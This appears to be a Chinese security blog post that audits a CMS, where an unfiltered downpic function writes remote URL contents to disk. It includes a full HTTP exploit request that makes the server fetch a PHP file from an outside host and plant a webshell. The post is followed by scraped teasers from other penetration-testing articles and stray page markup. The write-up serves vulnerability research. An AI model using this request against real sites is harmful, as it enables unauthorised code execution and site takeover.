<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    記一次文件下載getshell白盒

    VSole2023-01-14 11:01:47

    前言

    2023年了,敬業的人還在上班,首先祝大家新年快樂,期待新的一年有新的成長~

    閑來無事,逛逛代碼倉庫,掃一掃,看到某CMS里面有這么一個方法,里面的內容很簡單,可以說是目測存在getshell漏洞。但是實際上踩坑無數,弄了很久,因為分析的時候有意思,利用的也有點意思,所以分享出來。

    代碼分析

    1、首先查看漏洞點,downpic方法獲取了一個參數$url,未進行過濾,獲取URL文件內容后進行文件寫入。其中寫入后的文件后綴即為傳入的URL中的文件后綴。

    2、搜索發現/admin/ajax.php存在4處位置調用了此方法

    3、通過幾次篩選,最后確定入口點為collection_all

    第一個if判斷,需要id搜索到有東西,經測試網站默認安裝便有一條數據,所以id賦值為1即可

    4、往下執行,發現這里遠程加載的文件內容需要有$C_titlestart和$C_contentstart

    構造文件內容第一行

    5、再往下,進入下一個if判斷,條件為sql語句執行結果小于等于0

    構造文件內容第二行中的一串隨機字符

    6、下一個條件分支,需要文件內容中含有src=",直接復制了那行代碼到文件中

    7、后面循環無影響,到$picx的賦值,因最后拼接的路徑為src="后的字符,故將index.php放到文件的最后面,然后調用了downpic方法

    8、查看downpic方法。傳入URL,生成以時間戳+隨機字符的文件名,獲取遠程文件內容,寫入文件。

    漏洞利用

    1、構造惡意請求,向外請求index.php

    GET /admin/ajax.php?type=collection&action=all&id=1&lang=0&pageurl=http://10.211.55.2:21/index.php HTTP/1.1Host: 10.211.55.3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestOrigin: http://10.211.55.3Connection: closeReferer: http://10.211.55.3/admin/Cookie: count_all=0; authx=; userx=; passx=; add=%E4%B8%AD%E5%9B%BD; user=admin; pass=e317896f881c24dd527ea70a654d0a00; A_type=1; auth=1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1%7C1; newsauth=all; productauth=all; textauth=all; formauth=all; bbsauth=all; PHPSESSID=ftd1rm1hffcfvdh2d3l9hkmln1; __vtins__JdquY3gNURaKiAFU=%7B%22sid%22%3A%20%222f9206ee-11da-59be-af05-5ce77d606c29%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201657185361904%2C%20%22ct%22%3A%201657183561904%7D; __51uvsct__JdquY3gNURaKiAFU=2; __51vcke__JdquY3gNURaKiAFU=8c5f5b50-675a-576d-a410-a4ba399a8cde; __51vuft__JdquY3gNURaKiAFU=1657173569846; LOGIN_LANG=cnContent-Length: 2
    

    2、返回成功即可在media目錄下看到文件已經成功上傳,內容為index.php文件內容

    攻擊者則可以通過網站安全-文件管理功能查看具體文件名

    3、訪問該文件,獲取webshell

    總結

    這個漏洞我好像分析了2個小時吧,主要是構造payload方面花了心思,一開始沒想看很多代碼,直接利用發現失敗了,調試了幾次終于可以利用,總的來說,利用條件苛刻,可利用性不高,聊勝于無。

    題外話:最近新開了個知識星球,期待大家關注。本來是打算放項目上的干貨的,但是最近迷上了反序列化和內存馬,所以可能會有一段時間都是這類內容。當然干貨也會不定時更新,主要分享實戰方面的細節。。。

    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    但是實際上踩坑無數,弄了很久,因為分析的時候有意思,利用的也有點意思,所以分享出來。代碼分析1、首先查看漏洞點,downpic方法獲取了一個參數$url,未進行過濾,獲取URL文件內容后進行文件寫入。其中寫入后的文件后綴即為傳入的URL中的文件后綴。傳入URL,生成以時間戳+隨機字符的文件名,獲取遠程文件內容,寫入文件。漏洞利用1、構造惡意請求,向外請求index.phpGET /admin/ajax.php?
    閑來無事的時候打開一個站點,看似平平無常其實已經被做了蜘蛛劫持通過模擬蜘蛛可以看到這個站點已經被hack干淪陷了本來不想管的,好奇心的驅動下,開始復盤操作仔細看了很久,掃描爆破路徑后臺,什么的都沒找到關鍵信息端口的話是就開了個BT面板的端口22端口,以及80端口有的時候就是這樣,本來沒注意到的地方,在去仔細看的時候就會有不一樣的驚喜。
    idea直接創建新建項目,自動導入xml文件,配置啟動服務器導入sql文件mysql?這里需要注意一點兒,源碼確實,無法打包war'包,解決不掉artifacts的問題配置端口啟動tomgcat的時候會亂碼,
    首先是判斷文件是否存在以及JSON解析是否正確;判斷Key是否都存在;判斷對應值是否為空;創建theme對象;判斷設置路徑是否已"default"開頭。但是沒有對themePath路徑問題進行檢測,便可構造目錄穿越,這也是該漏洞造成的關鍵原因。在上傳的主題包里的\dreamer\dreamer-cms\templates\default_v3\theme.json文件,將目錄穿越的構造替換主題包路徑,更改之后theme.json文件內容如下:{
    一次某CMS代碼審計
    2022-11-07 09:52:41
    無意中瀏覽到某小眾OA官網且可以下載到源碼,隨機審計一波,最后成功Getshell,大佬勿噴
    一次攻防演練
    2021-11-16 13:02:15
    第五天主要是以代碼審計為主。f12查看源碼發現端倪,注冊相關的實現代碼已經被注釋掉了。嘗試上傳正常圖片,均不能正常使用。提示都是文件大小不符合。此時陷入瓶頸期。此時搜索有關該CMS的歷史漏洞,通過cnvd平臺。嘗試利用SQL注入漏洞,復現后均失敗。并根據response判斷哪些文件是未授權訪問的。并發現了兩處關于文件上傳的函數。
    起因:某天A把我留下,想讓我檢測一下某站點的安全程度(有授權的,領導的任務罷了)我想了沒想就拒絕了
    信息收集訪問目標站點,找到其后臺登錄頁面,對源碼進行分析,確定是某cms對網站進行分析,在數據包中發現_rememberMe等字段,驚喜!雖然有了shiro但是不能驕傲,再去找找其他的洞,畢竟,洞這東西得靠自己找才行。接下來先利用目前已有的信息進行滲透 !式,Shiro高版本下的漏洞利用,就需要考慮加密模式變化的情況。于是乎找到源碼,網上查找存儲shiro框架key的地方。些危險命令360主動防御會?
    0x01 苦逼的測試任務 某一天,我照常在學校的CTF群學長吹水,突然管事的學長在群里發了一張圖,這個月輪到我們學校對省內的某旅游相關企業進行漏洞測試。上面的老師自然而然把這個任務分配給我們CTF戰隊,要求是找到漏洞,能Getshell的點證明能Getshell即可,不要深入利用。
    期間用了差不多兩個周末,期間斷斷續續,整篇沒啥奇淫技巧,大佬略過。由于當時較晚,第一周測試到此結束,主要利用API接口的未授權任意文件下載,獲得敏感信息,未獲取到shell,但還是向朋友炫耀了成果。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类